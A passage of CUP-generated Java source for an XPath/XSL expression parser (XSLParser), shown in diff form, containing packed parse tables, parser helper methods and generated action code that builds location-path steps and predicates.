"\013\uffee\015\uffee\016\uffee\017\uffee\020\uffee\021\uffee\022" + + "\uffee\023\uffee\024\uffee\027\uffee\030\uffee\031\uffee\032\uffee" + + "\001\002\000\044\002\uffef\004\uffef\005\uffef\011\uffef\013" + + "\uffef\015\uffef\016\uffef\017\uffef\020\uffef\021\uffef\022\uffef" + + "\023\uffef\024\uffef\027\uffef\030\uffef\031\uffef\032\uffef\001" + + "\002\000\044\002\uffed\004\uffed\005\uffed\011\uffed\013\uffed" + + "\015\uffed\016\uffed\017\uffed\020\uffed\021\uffed\022\uffed\023" + + "\uffed\024\uffed\027\uffed\030\uffed\031\uffed\032\uffed\001\002" + + "\000\016\006\022\007\020\010\045\042\uffc3\043\uffc3\044" + + "\046\001\002\000\016\006\022\007\020\010\045\042\uffc3" + + "\043\uffc3\044\046\001\002\000\046\002\uffd3\004\uffd3\005" + + "\uffd3\011\uffd3\013\uffd3\015\uffd3\016\uffd3\017\uffd3\020\uffd3" + + "\021\uffd3\022\uffd3\023\uffd3\024\uffd3\027\uffd3\030\uffd3\031" + + "\uffd3\032\uffd3\033\uffd3\001\002\000\046\002\uffd2\004\uffd2" + + "\005\uffd2\011\uffd2\013\uffd2\015\uffd2\016\uffd2\017\uffd2\020" + + "\uffd2\021\uffd2\022\uffd2\023\uffd2\024\uffd2\027\uffd2\030\uffd2" + + "\031\uffd2\032\uffd2\033\uffd2\001\002\000\044\002\uffeb\004" + + "\uffeb\005\uffeb\011\uffeb\013\uffeb\015\uffeb\016\uffeb\017\uffeb" + + "\020\uffeb\021\uffeb\022\uffeb\023\uffeb\024\uffeb\027\uffeb\030" + + "\uffeb\031\uffeb\032\uffeb\001\002\000\054\002\uffbc\004\uffbc" + + "\005\uffbc\011\uffbc\013\uffbc\014\uffbc\015\uffbc\016\uffbc\017" + + "\uffbc\020\uffbc\021\uffbc\022\uffbc\023\uffbc\024\uffbc\025\uffbc" + + "\026\uffbc\027\uffbc\030\uffbc\031\uffbc\032\uffbc\033\uffbc\001" + + "\002\000\004\002\000\001\002\000\042\005\050\006\022" + + "\007\020\010\045\012\017\013\uffdb\025\004\026\006\035" + + "\042\036\034\037\041\040\026\041\025\042\uffc3\043\uffc3" + + "\044\046\001\002\000\004\013\077\001\002\000\006\011" + + "\075\013\uffda\001\002\000\006\011\uffd8\013\uffd8\001\002" + + "\000\042\005\050\006\022\007\020\010\045\012\017\013" + + "\uffdb\025\004\026\006\035\042\036\034\037\041\040\026" + + "\041\025\042\uffc3\043\uffc3\044\046\001\002\000\004\013" + + "\uffd9\001\002\000\052\002\uffdc\004\uffdc\005\uffdc\011\uffdc" + + "\013\uffdc\015\uffdc\016\uffdc\017\uffdc\020\uffdc\021\uffdc\022" + + "\uffdc\023\uffdc\024\uffdc\025\uffdc\026\uffdc\027\uffdc\030\uffdc" + + "\031\uffdc\032\uffdc\033\uffdc\001\002\000\054\002\uffe3\004" + + "\uffe3\005\uffe3\011\uffe3\013\uffe3\014\uffe3\015\uffe3\016\uffe3" + + "\017\uffe3\020\uffe3\021\uffe3\022\uffe3\023\uffe3\024\uffe3\025" + + "\uffe3\026\uffe3\027\uffe3\030\uffe3\031\uffe3\032\uffe3\033\uffe3" + + "\001\002\000\016\006\022\007\020\010\045\042\uffc3\043" + + "\uffc3\044\046\001\002\000\016\006\022\007\020\010\045" + + "\042\uffc3\043\uffc3\044\046\001\002\000\040\005\050\006" + + "\022\007\020\010\045\012\017\025\004\026\006\035\042" + + "\036\034\037\041\040\026\041\025\042\uffc3\043\uffc3\044" + + "\046\001\002\000\004\015\105\001\002\000\054\002\uffbd" + + "\004\uffbd\005\uffbd\011\uffbd\013\uffbd\014\uffbd\015\uffbd\016" + + "\uffbd\017\uffbd\020\uffbd\021\uffbd\022\uffbd\023\uffbd\024\uffbd" + + "\025\uffbd\026\uffbd\027\uffbd\030\uffbd\031\uffbd\032\uffbd\033" + + "\uffbd\001\002\000\046\002\uffe6\004\uffe6\005\uffe6\011\uffe6" + + "\013\uffe6\015\uffe6\016\uffe6\017\uffe6\020\uffe6\021\uffe6\022" + + "\uffe6\023\uffe6\024\uffe6\027\uffe6\030\uffe6\031\uffe6\032\uffe6" + + "\033\uffe6\001\002\000\046\002\uffe5\004\uffe5\005\uffe5\011" + + "\uffe5\013\uffe5\015\uffe5\016\uffe5\017\uffe5\020\uffe5\021\uffe5" + + "\022\uffe5\023\uffe5\024\uffe5\027\uffe5\030\uffe5\031\uffe5\032" + + "\uffe5\033\uffe5\001\002\000\036\006\022\007\020\010\045" + + "\012\017\025\004\026\006\035\042\036\034\037\041\040" + + "\026\041\025\042\uffc3\043\uffc3\044\046\001\002\000\044" + + "\002\uffe9\004\uffe9\005\uffe9\011\uffe9\013\uffe9\015\uffe9\016" + + "\uffe9\017\uffe9\020\uffe9\021\uffe9\022\uffe9\023\uffe9\024\uffe9" + + "\027\uffe9\030\uffe9\031\uffe9\032\uffe9\001\002\000\016\006" + + "\022\007\020\010\045\042\uffc3\043\uffc3\044\046\001\002" + + "\000\016\006\022\007\020\010\045\042\uffc3\043\uffc3\044" + + "\046\001\002\000\046\002\uffcd\004\uffcd\005\uffcd\011\uffcd" + + "\013\uffcd\015\uffcd\016\uffcd\017\uffcd\020\uffcd\021\uffcd\022" + + "\uffcd\023\uffcd\024\uffcd\027\uffcd\030\uffcd\031\uffcd\032\uffcd" + + "\033\uffcd\001\002\000\046\002\uffbe\004\uffbe\005\uffbe\011" + + "\uffbe\013\uffbe\015\uffbe\016\uffbe\017\uffbe\020\uffbe\021\uffbe" + + "\022\uffbe\023\uffbe\024\uffbe\027\uffbe\030\uffbe\031\uffbe\032" + + "\uffbe\033\uffbe\001\002\000\042\005\050\006\022\007\020" + + "\010\045\012\017\013\uffdb\025\004\026\006\035\042\036" + + "\034\037\041\040\026\041\025\042\uffc3\043\uffc3\044\046" + + "\001\002\000\004\013\120\001\002\000\054\002\uffdd\004" + + "\uffdd\005\uffdd\011\uffdd\013\uffdd\014\uffdd\015\uffdd\016\uffdd" + + "\017\uffdd\020\uffdd\021\uffdd\022\uffdd\023\uffdd\024\uffdd\025" + + "\uffdd\026\uffdd\027\uffdd\030\uffdd\031\uffdd\032\uffdd\033\uffdd" + + "\001\002\000\040\005\050\006\022\007\020\010\045\012" + + "\017\025\004\026\006\035\042\036\034\037\041\040\026" + + "\041\025\042\uffc3\043\uffc3\044\046\001\002\000\040\005" + + "\050\006\022\007\020\010\045\012\017\025\004\026\006" + + "\035\042\036\034\037\041\040\026\041\025\042\uffc3\043" + + "\uffc3\044\046\001\002\000\044\002\ufff2\004\ufff2\005\ufff2" + + "\011\ufff2\013\ufff2\015\ufff2\016\ufff2\017\ufff2\020\ufff2\021" + + "\ufff2\022\ufff2\023\ufff2\024\055\027\056\030\054\031\ufff2" + + "\032\ufff2\001\002\000\044\002\ufff1\004\ufff1\005\ufff1\011" + + "\ufff1\013\ufff1\015\ufff1\016\ufff1\017\ufff1\020\ufff1\021\ufff1" + + "\022\ufff1\023\ufff1\024\055\027\056\030\054\031\ufff1\032" + + "\ufff1\001\002\000\004\013\126\001\002\000\054\002\uffe1" + + "\004\uffe1\005\uffe1\011\uffe1\013\uffe1\014\uffe1\015\uffe1\016" + + "\uffe1\017\uffe1\020\uffe1\021\uffe1\022\uffe1\023\uffe1\024\uffe1" + + "\025\uffe1\026\uffe1\027\uffe1\030\uffe1\031\uffe1\032\uffe1\033" + + "\uffe1\001\002\000\040\005\050\006\022\007\020\010\045" + + "\012\017\025\004\026\006\035\042\036\034\037\041\040" + + "\026\041\025\042\uffc3\043\uffc3\044\046\001\002\000\040" + + "\005\050\006\022\007\020\010\045\012\017\025\004\026" + + "\006\035\042\036\034\037\041\040\026\041\025\042\uffc3" + + "\043\uffc3\044\046\001\002\000\032\002\ufff9\011\ufff9\013" + + "\ufff9\015\ufff9\016\133\017\132\020\135\021\134\022\ufff9" + + "\023\ufff9\031\ufff9\032\ufff9\001\002\000\040\005\050\006" + + "\022\007\020\010\045\012\017\025\004\026\006\035\042" + + "\036\034\037\041\040\026\041\025\042\uffc3\043\uffc3\044" + + "\046\001\002\000\040\005\050\006\022\007\020\010\045" + + "\012\017\025\004\026\006\035\042\036\034\037\041\040" + + "\026\041\025\042\uffc3\043\uffc3\044\046\001\002\000\040" + + "\005\050\006\022\007\020\010\045\012\017\025\004\026" + + "\006\035\042\036\034\037\041\040\026\041\025\042\uffc3" + + "\043\uffc3\044\046\001\002\000\040\005\050\006\022\007" + + "\020\010\045\012\017\025\004\026\006\035\042\036\034" + + "\037\041\040\026\041\025\042\uffc3\043\uffc3\044\046\001" + + "\002\000\036\002\ufff4\004\122\005\121\011\ufff4\013\ufff4" + + "\015\ufff4\016\ufff4\017\ufff4\020\ufff4\021\ufff4\022\ufff4\023" + + "\ufff4\031\ufff4\032\ufff4\001\002\000\036\002\ufff5\004\122" + + "\005\121\011\ufff5\013\ufff5\015\ufff5\016\ufff5\017\ufff5\020" + + "\ufff5\021\ufff5\022\ufff5\023\ufff5\031\ufff5\032\ufff5\001\002" + + "\000\036\002\ufff6\004\122\005\121\011\ufff6\013\ufff6\015" + + "\ufff6\016\ufff6\017\ufff6\020\ufff6\021\ufff6\022\ufff6\023\ufff6" + + "\031\ufff6\032\ufff6\001\002\000\036\002\ufff7\004\122\005" + + "\121\011\ufff7\013\ufff7\015\ufff7\016\ufff7\017\ufff7\020\ufff7" + + "\021\ufff7\022\ufff7\023\ufff7\031\ufff7\032\ufff7\001\002\000" + + "\032\002\ufffa\011\ufffa\013\ufffa\015\ufffa\016\133\017\132" + + "\020\135\021\134\022\ufffa\023\ufffa\031\ufffa\032\ufffa\001" + + "\002\000\040\005\050\006\022\007\020\010\045\012\017" + + "\025\004\026\006\035\042\036\034\037\041\040\026\041" + + "\025\042\uffc3\043\uffc3\044\046\001\002\000\016\002\ufffe" + + "\011\ufffe\013\ufffe\015\ufffe\031\145\032\ufffe\001\002\000" + + "\040\005\050\006\022\007\020\010\045\012\017\025\004" + + "\026\006\035\042\036\034\037\041\040\026\041\025\042" + + "\uffc3\043\uffc3\044\046\001\002\000\022\002\ufffc\011\ufffc" + + "\013\ufffc\015\ufffc\022\127\023\130\031\ufffc\032\ufffc\001" + + "\002\000\054\002\uffc9\004\uffc9\005\uffc9\011\uffc9\013\uffc9" + + "\014\uffc9\015\uffc9\016\uffc9\017\uffc9\020\uffc9\021\uffc9\022" + + "\uffc9\023\uffc9\024\uffc9\025\uffc9\026\uffc9\027\uffc9\030\uffc9" + + "\031\uffc9\032\uffc9\033\uffc9\001\002\000\054\002\uffc7\004" + + "\uffc7\005\uffc7\011\uffc7\013\uffc7\014\103\015\uffc7\016\uffc7" + + "\017\uffc7\020\uffc7\021\uffc7\022\uffc7\023\uffc7\024\uffc7\025" + + "\uffc7\026\uffc7\027\uffc7\030\uffc7\031\uffc7\032\uffc7\033\uffc7" + + "\001\002\000\054\002\uffc8\004\uffc8\005\uffc8\011\uffc8\013" + + "\uffc8\014\uffc8\015\uffc8\016\uffc8\017\uffc8\020\uffc8\021\uffc8" + + "\022\uffc8\023\uffc8\024\uffc8\025\uffc8\026\uffc8\027\uffc8\030" + + "\uffc8\031\uffc8\032\uffc8\033\uffc8\001\002\000\054\002\uffc7" + + "\004\uffc7\005\uffc7\011\uffc7\013\uffc7\014\103\015\uffc7\016" + + "\uffc7\017\uffc7\020\uffc7\021\uffc7\022\uffc7\023\uffc7\024\uffc7" + + "\025\uffc7\026\uffc7\027\uffc7\030\uffc7\031\uffc7\032\uffc7\033" + + "\uffc7\001\002\000\052\002\uffcb\004\uffcb\005\uffcb\011\uffcb" + + "\013\uffcb\015\uffcb\016\uffcb\017\uffcb\020\uffcb\021\uffcb\022" + + "\uffcb\023\uffcb\024\uffcb\025\uffcb\026\uffcb\027\uffcb\030\uffcb" + + "\031\uffcb\032\uffcb\033\uffcb\001\002\000\052\002\uffc6\004" + + "\uffc6\005\uffc6\011\uffc6\013\uffc6\015\uffc6\016\uffc6\017\uffc6" + + "\020\uffc6\021\uffc6\022\uffc6\023\uffc6\024\uffc6\025\uffc6\026" + + "\uffc6\027\uffc6\030\uffc6\031\uffc6\032\uffc6\033\uffc6\001\002" + + "\000\046\002\uffbf\004\uffbf\005\uffbf\011\uffbf\013\uffbf\015" + + "\uffbf\016\uffbf\017\uffbf\020\uffbf\021\uffbf\022\uffbf\023\uffbf" + + "\024\uffbf\027\uffbf\030\uffbf\031\uffbf\032\uffbf\033\uffbf\001" + + "\002\000\046\002\uffd0\004\uffd0\005\uffd0\011\uffd0\013\uffd0" + + "\015\uffd0\016\uffd0\017\uffd0\020\uffd0\021\uffd0\022\uffd0\023" + + "\uffd0\024\uffd0\027\uffd0\030\uffd0\031\uffd0\032\uffd0\033\uffd0" + + "\001\002" }); + + /** Access to parse-action table. */ + public short[][] action_table() {return _action_table;} + + /** reduce_goto table. */ + protected static final short[][] _reduce_table = + unpackFromStrings(new String[] { + "\000\154\000\070\003\007\004\050\005\026\006\036\007" + + "\037\010\013\011\015\012\011\013\004\014\022\015\051" + + "\016\023\017\032\020\035\021\034\022\046\024\031\026" + + "\030\027\014\030\010\031\012\033\027\034\043\035\052" + + "\036\020\037\006\040\042\001\001\000\016\030\010\031" + + "\012\033\027\034\043\035\155\040\042\001\001\000\002" + + "\001\001\000\016\030\010\031\012\033\027\034\043\035" + + "\154\040\042\001\001\000\002\001\001\000\002\001\001" + + "\000\004\032\147\001\001\000\002\001\001\000\002\001" + + "\001\000\002\001\001\000\002\001\001\000\002\001\001" + + "\000\070\003\007\004\050\005\026\006\036\007\124\010" + + "\013\011\015\012\011\013\004\014\022\015\051\016\023" + + "\017\032\020\035\021\034\022\046\024\031\026\030\027" + + "\014\030\010\031\012\033\027\034\043\035\052\036\020" + + "\037\006\040\042\001\001\000\002\001\001\000\002\001" + + "\001\000\002\001\001\000\002\001\001\000\002\001\001" + + "\000\002\001\001\000\002\001\001\000\002\001\001\000" + + "\002\001\001\000\002\001\001\000\002\001\001\000\002" + + "\001\001\000\002\001\001\000\002\001\001\000\004\041" + + "\077\001\001\000\002\001\001\000\002\001\001\000\002" + + "\001\001\000\002\001\001\000\002\001\001\000\002\001" + + "\001\000\002\001\001\000\002\001\001\000\002\001\001" + + "\000\052\003\007\004\050\005\026\006\036\016\065\017" + + "\032\020\035\021\034\022\046\024\031\026\030\027\014" + + "\030\010\031\012\033\027\034\043\035\052\036\020\037" + + "\006\040\042\001\001\000\002\001\001\000\002\001\001" + + "\000\002\001\001\000\052\003\007\004\050\005\026\006" + + "\036\016\060\017\032\020\035\021\034\022\046\024\031" + + "\026\030\027\014\030\010\031\012\033\027\034\043\035" + + "\052\036\020\037\006\040\042\001\001\000\052\003\007" + + "\004\050\005\026\006\036\016\057\017\032\020\035\021" + + "\034\022\046\024\031\026\030\027\014\030\010\031\012" + + "\033\027\034\043\035\052\036\020\037\006\040\042\001" + + "\001\000\052\003\007\004\050\005\026\006\036\016\056" + + "\017\032\020\035\021\034\022\046\024\031\026\030\027" + + "\014\030\010\031\012\033\027\034\043\035\052\036\020" + + "\037\006\040\042\001\001\000\002\001\001\000\002\001" + + "\001\000\002\001\001\000\016\030\010\031\012\033\027" + + "\034\043\035\064\040\042\001\001\000\016\030\010\031" + + "\012\033\027\034\043\035\063\040\042\001\001\000\002" + + "\001\001\000\002\001\001\000\002\001\001\000\002\001" + + "\001\000\002\001\001\000\074\003\007\004\050\005\026" + + "\006\036\007\073\010\013\011\015\012\011\013\004\014" + + "\022\015\051\016\023\017\032\020\035\021\034\022\046" + + "\023\071\024\031\025\072\026\030\027\014\030\010\031" + + "\012\033\027\034\043\035\052\036\020\037\006\040\042" + + "\001\001\000\002\001\001\000\002\001\001\000\002\001" + + "\001\000\074\003\007\004\050\005\026\006\036\007\073" + + "\010\013\011\015\012\011\013\004\014\022\015\051\016" + + "\023\017\032\020\035\021\034\022\046\023\075\024\031" + + "\025\072\026\030\027\014\030\010\031\012\033\027\034" + + "\043\035\052\036\020\037\006\040\042\001\001\000\002" + + "\001\001\000\002\001\001\000\002\001\001\000\016\030" + + "\010\031\012\033\027\034\043\035\106\040\042\001\001" + + "\000\016\030\010\031\012\033\027\034\043\035\105\040" + + "\042\001\001\000\070\003\007\004\050\005\026\006\036" + + "\007\103\010\013\011\015\012\011\013\004\014\022\015" + + "\051\016\023\017\032\020\035\021\034\022\046\024\031" + + "\026\030\027\014\030\010\031\012\033\027\034\043\035" + + "\052\036\020\037\006\040\042\001\001\000\002\001\001" + + "\000\002\001\001\000\002\001\001\000\002\001\001\000" + + "\050\003\007\004\050\005\026\006\036\017\032\020\035" + + "\021\034\022\110\024\031\026\030\027\014\030\010\031" + + "\012\033\027\034\043\035\052\036\020\037\006\040\042" + + "\001\001\000\002\001\001\000\016\030\010\031\012\033" + + "\027\034\043\035\114\040\042\001\001\000\016\030\010" + + "\031\012\033\027\034\043\035\113\040\042\001\001\000" + + "\002\001\001\000\002\001\001\000\074\003\007\004\050" + + "\005\026\006\036\007\073\010\013\011\015\012\011\013" + + "\004\014\022\015\051\016\023\017\032\020\035\021\034" + + "\022\046\023\116\024\031\025\072\026\030\027\014\030" + + "\010\031\012\033\027\034\043\035\052\036\020\037\006" + + "\040\042\001\001\000\002\001\001\000\002\001\001\000" + + "\054\003\007\004\050\005\026\006\036\015\123\016\023" + + "\017\032\020\035\021\034\022\046\024\031\026\030\027" + + "\014\030\010\031\012\033\027\034\043\035\052\036\020" + + "\037\006\040\042\001\001\000\054\003\007\004\050\005" + + "\026\006\036\015\122\016\023\017\032\020\035\021\034" + + "\022\046\024\031\026\030\027\014\030\010\031\012\033" + + "\027\034\043\035\052\036\020\037\006\040\042\001\001" + + "\000\002\001\001\000\002\001\001\000\002\001\001\000" + + "\002\001\001\000\060\003\007\004\050\005\026\006\036" + + "\013\141\014\022\015\051\016\023\017\032\020\035\021" + + "\034\022\046\024\031\026\030\027\014\030\010\031\012" + + "\033\027\034\043\035\052\036\020\037\006\040\042\001" + + "\001\000\060\003\007\004\050\005\026\006\036\013\130" + + "\014\022\015\051\016\023\017\032\020\035\021\034\022" + + "\046\024\031\026\030\027\014\030\010\031\012\033\027" + + "\034\043\035\052\036\020\037\006\040\042\001\001\000" + + "\002\001\001\000\056\003\007\004\050\005\026\006\036" + + "\014\140\015\051\016\023\017\032\020\035\021\034\022" + + "\046\024\031\026\030\027\014\030\010\031\012\033\027" + + "\034\043\035\052\036\020\037\006\040\042\001\001\000" + + "\056\003\007\004\050\005\026\006\036\014\137\015\051" + + "\016\023\017\032\020\035\021\034\022\046\024\031\026" + + "\030\027\014\030\010\031\012\033\027\034\043\035\052" + + "\036\020\037\006\040\042\001\001\000\056\003\007\004" + + "\050\005\026\006\036\014\136\015\051\016\023\017\032" + + "\020\035\021\034\022\046\024\031\026\030\027\014\030" + + "\010\031\012\033\027\034\043\035\052\036\020\037\006" + + "\040\042\001\001\000\056\003\007\004\050\005\026\006" + + "\036\014\135\015\051\016\023\017\032\020\035\021\034" + + "\022\046\024\031\026\030\027\014\030\010\031\012\033" + + "\027\034\043\035\052\036\020\037\006\040\042\001\001" + + "\000\002\001\001\000\002\001\001\000\002\001\001\000" + + "\002\001\001\000\002\001\001\000\064\003\007\004\050" + + "\005\026\006\036\011\015\012\143\013\004\014\022\015" + + "\051\016\023\017\032\020\035\021\034\022\046\024\031" + + "\026\030\027\014\030\010\031\012\033\027\034\043\035" + + "\052\036\020\037\006\040\042\001\001\000\002\001\001" + + "\000\062\003\007\004\050\005\026\006\036\011\145\013" + + "\004\014\022\015\051\016\023\017\032\020\035\021\034" + + "\022\046\024\031\026\030\027\014\030\010\031\012\033" + + "\027\034\043\035\052\036\020\037\006\040\042\001\001" + + "\000\002\001\001\000\002\001\001\000\006\041\151\042" + + "\152\001\001\000\002\001\001\000\006\041\151\042\153" + + "\001\001\000\002\001\001\000\002\001\001\000\002\001" + + "\001\000\002\001\001" }); + + /** Access to reduce_goto table. */ + public short[][] reduce_table() {return _reduce_table;} + + /** Instance of action encapsulation class. */ + protected CUP$XSLParser$actions action_obj; + + /** Action encapsulation object initializer. */ + protected void init_actions() + { + action_obj = new CUP$XSLParser$actions(this); + } + + /** Invoke a user supplied parse action. */ + public java_cup.runtime.Symbol do_action( + int act_num, + java_cup.runtime.lr_parser parser, + java.util.Stack stack, + int top) + throws java.lang.Exception + { + /* call code in generated class */ + return action_obj.CUP$XSLParser$do_action(act_num, parser, stack, top); + } + + /** Indicates start state. */ + public int start_state() {return 0;} + /** Indicates start production. */ + public int start_production() {return 1;} + + /** EOF Symbol index. */ + public int EOF_sym() {return 0;} + + /** error Symbol index. */ + public int error_sym() {return 1;} + + + + public Hashtable nsHash; + public Hashtable symbolHash; + Step tempStep; + NodeTest tempNt; + LocationPathExpr tempLPExpr; + //ExprList tmpEL1, tmpEL2; + + public XSLParser (java.io.Reader input) { + super(new XSLScanner(input)); + nsHash = null; + } + + public XSLParser (java.io.InputStream input) { + super(new XSLScanner(input)); + } + + public static void main(String args[]){ + try { + String s="//abc[document('',document(''))//a/b/c]"; + s="./."; + XSLParser p = new XSLParser(new StringReader(s)); + Object result = p.parse().value; + //System.out.println(((Expr)result).evalNumber(null)); + System.out.println(((Expr)result)); + } + catch (Exception e) { + System.out.println("caught: "+e); + } + } + + public void setStrictScanner(boolean b){ + ((XSLScanner)getScanner()).setStrict(b); + } + + public void report_error(String message, Object info) { + //throw new XPathParseException("Syntax error during parsing"); + } + + public void report_fatal_error(String message, Object info) throws XPathParseException{ + throw new XPathParseException("Syntax error during parsing: "+ message); + } + + public void syntax_error(Symbol cur_token) { + + } + + public void unrecovered_syntax_error(Symbol cur_token) throws XPathParseException{ + XSLScanner scanner = (XSLScanner)getScanner(); + throw new XPathParseException("XPath Syntax error: "+cur_token, scanner.getOffset()); + } + +} + +/** Cup generated class to encapsulate user supplied action code.*/ +class CUP$XSLParser$actions { + private final XSLParser parser; + + /** Constructor */ + CUP$XSLParser$actions(XSLParser parser) { + this.parser = parser; + } + + /** Method with the actual generated action code. */ + public final java_cup.runtime.Symbol CUP$XSLParser$do_action( + int CUP$XSLParser$act_num, + java_cup.runtime.lr_parser CUP$XSLParser$parser, + java.util.Stack CUP$XSLParser$stack, + int CUP$XSLParser$top) + throws java.lang.Exception + { + /* Symbol object for return from actions */ + java_cup.runtime.Symbol CUP$XSLParser$result; + + /* select the action based on the action number */ + switch (CUP$XSLParser$act_num) + { + /*. . . . . . . . . . . . . . . . . . . .*/ + case 71: // LocationPathFuncName ::= FNAME2 + { + FuncName RESULT = null; + int fn2left = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int fn2right = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + FuncName fn2 = (FuncName)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + + RESULT= fn2; + + CUP$XSLParser$result = new java_cup.runtime.Symbol(4/*LocationPathFuncName*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 70: // FunctionName ::= FNAME + { + FuncName RESULT = null; + int fnleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int fnright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + FuncName fn = (FuncName)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = fn; + CUP$XSLParser$result = new java_cup.runtime.Symbol(3/*FunctionName*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 69: // VariableReference ::= DOLLAR NAME + { + Expr RESULT = null; + int nleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int nright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + NameType n = (NameType)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + + if (parser.symbolHash.get(n.qname)==null) + throw new XPathParseException("variableExpression not declared ==> $"+n.qname); + RESULT = new VariableExpr(n.qname, (Expr)parser.symbolHash.get(n.qname)); + + CUP$XSLParser$result = new java_cup.runtime.Symbol(15/*VariableReference*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 68: // Predicate ::= LB Expr RB + { + Predicate RESULT = null; + int eleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).left; + int eright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).right; + Expr e = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).value; + RESULT = new Predicate(); + RESULT.expr= e; + + CUP$XSLParser$result = new java_cup.runtime.Symbol(31/*Predicate*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 67: // AbbreviatedRelativeLocationPath ::= Step DSLASH RelativeLocationPath + { + Step RESULT = null; + int sleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left; + int sright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).right; + Step s = (Step)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).value; + int rlpleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int rlpright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Step rlp = (Step)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new Step(); + RESULT.setAxisType(AxisType.DESCENDANT_OR_SELF); + parser.tempNt = new NodeTest(); + + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setNodeTest(parser.tempNt); + s.setNextStep(RESULT); + RESULT.setPrevStep(s); + RESULT.setNextStep(rlp); + rlp.setPrevStep(RESULT); + RESULT = s; + + CUP$XSLParser$result = new java_cup.runtime.Symbol(30/*AbbreviatedRelativeLocationPath*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 66: // AbbreviatedAbsoluteLocationPath ::= DSLASH RelativeLocationPath + { + Step RESULT = null; + int rlpleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int rlpright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Step rlp = (Step)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + + RESULT = new Step(); + RESULT.setAxisType(AxisType.DESCENDANT_OR_SELF); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setNodeTest(parser.tempNt); + RESULT.setNextStep(rlp); + rlp.setPrevStep(RESULT); + + CUP$XSLParser$result = new java_cup.runtime.Symbol(29/*AbbreviatedAbsoluteLocationPath*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 65: // AbbreviatedStep ::= DDOT + { + Step RESULT = null; + RESULT = new Step(); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setAxisType(AxisType.PARENT); + RESULT.setNodeTest(parser.tempNt); + // System.out.println("result " + RESULT.toString()); + + CUP$XSLParser$result = new java_cup.runtime.Symbol(26/*AbbreviatedStep*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 64: // AbbreviatedStep ::= DOT + { + Step RESULT = null; + RESULT = new Step(); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setAxisType(AxisType.SELF); + RESULT.setNodeTest(parser.tempNt); + + CUP$XSLParser$result = new java_cup.runtime.Symbol(26/*AbbreviatedStep*/, 